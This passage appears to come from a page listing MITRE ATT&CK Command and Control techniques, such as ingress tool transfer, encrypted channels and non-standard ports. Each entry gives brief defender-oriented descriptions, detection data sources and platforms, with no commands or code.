Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre